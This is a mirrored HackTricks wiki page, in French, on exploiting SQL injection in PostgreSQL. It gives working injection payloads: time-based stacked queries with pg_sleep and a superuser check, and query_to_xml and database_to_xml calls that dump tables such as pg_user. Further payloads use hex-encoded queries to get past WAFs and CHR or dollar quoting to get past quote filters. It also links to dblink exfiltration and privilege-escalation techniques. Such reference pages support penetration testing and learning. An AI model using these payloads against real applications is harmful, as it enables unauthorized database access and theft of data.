mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
4.7 KiB
Markdown
79 lines
4.7 KiB
Markdown
# Injection PostgreSQL
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
|
|
---
|
|
|
|
**Cette page vise à expliquer différents trucs qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
|
|
|
## Interaction réseau - Escalade de privilèges, scanner de ports, divulgation de réponse au défi NTLM et exfiltration
|
|
|
|
Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
|
|
|
### **Exemple d'exfiltration utilisant dblink et objets volumineux**
|
|
|
|
Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
|
|
|
|
## Attaques PostgreSQL : Lecture/écriture, RCE, privesc
|
|
|
|
Vérifiez comment compromettre l'hôte et escalader les privilèges depuis PostgreSQL dans :
|
|
|
|
{{#ref}}
|
|
../../../network-services-pentesting/pentesting-postgresql.md
|
|
{{#endref}}
|
|
|
|
## Contournement de WAF
|
|
|
|
### Fonctions de chaîne PostgreSQL
|
|
|
|
Manipuler des chaînes pourrait vous aider à **contourner les WAF ou d'autres restrictions**.\
|
|
[**Sur cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**vous pouvez trouver quelques fonctions de chaînes utiles.**
|
|
|
|
### Requêtes empilées
|
|
|
|
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
|
|
```
|
|
id=1; select pg_sleep(10);-- -
|
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
|
```
|
|
### Astuces XML
|
|
|
|
**query_to_xml**
|
|
|
|
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
|
|
```sql
|
|
SELECT query_to_xml('select * from pg_user',true,true,'');
|
|
```
|
|
**database_to_xml**
|
|
|
|
Cette fonction va exporter l'ensemble de la base de données au format XML en une seule ligne (faites attention si la base de données est très grande car vous pourriez provoquer un DoS ou même sur votre propre client) :
|
|
```sql
|
|
SELECT database_to_xml(true,true,'');
|
|
```
|
|
### Chaînes en Hex
|
|
|
|
Si vous pouvez exécuter des **requêtes** en les passant **dans une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser convert_from pour passer la chaîne en hex et contourner les filtres de cette manière :**
|
|
```sql
|
|
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
|
|
|
# Bypass via stacked queries + error based + query_to_xml with hex
|
|
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
|
|
|
|
# Bypass via boolean + error based + query_to_xml with hex
|
|
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
|
```
|
|
### Citations interdites
|
|
|
|
Si vous ne pouvez pas utiliser de citations pour votre charge utile, vous pouvez contourner cela avec `CHR` pour des clauses de base (_la concaténation de caractères ne fonctionne que pour des requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL_):
|
|
```
|
|
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
|
```
|
|
Ou avec `$`. Ces requêtes renvoient les mêmes résultats :
|
|
```
|
|
SELECT 'hacktricks';
|
|
SELECT $$hacktricks$$;
|
|
SELECT $TAG$hacktricks$TAG$;
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|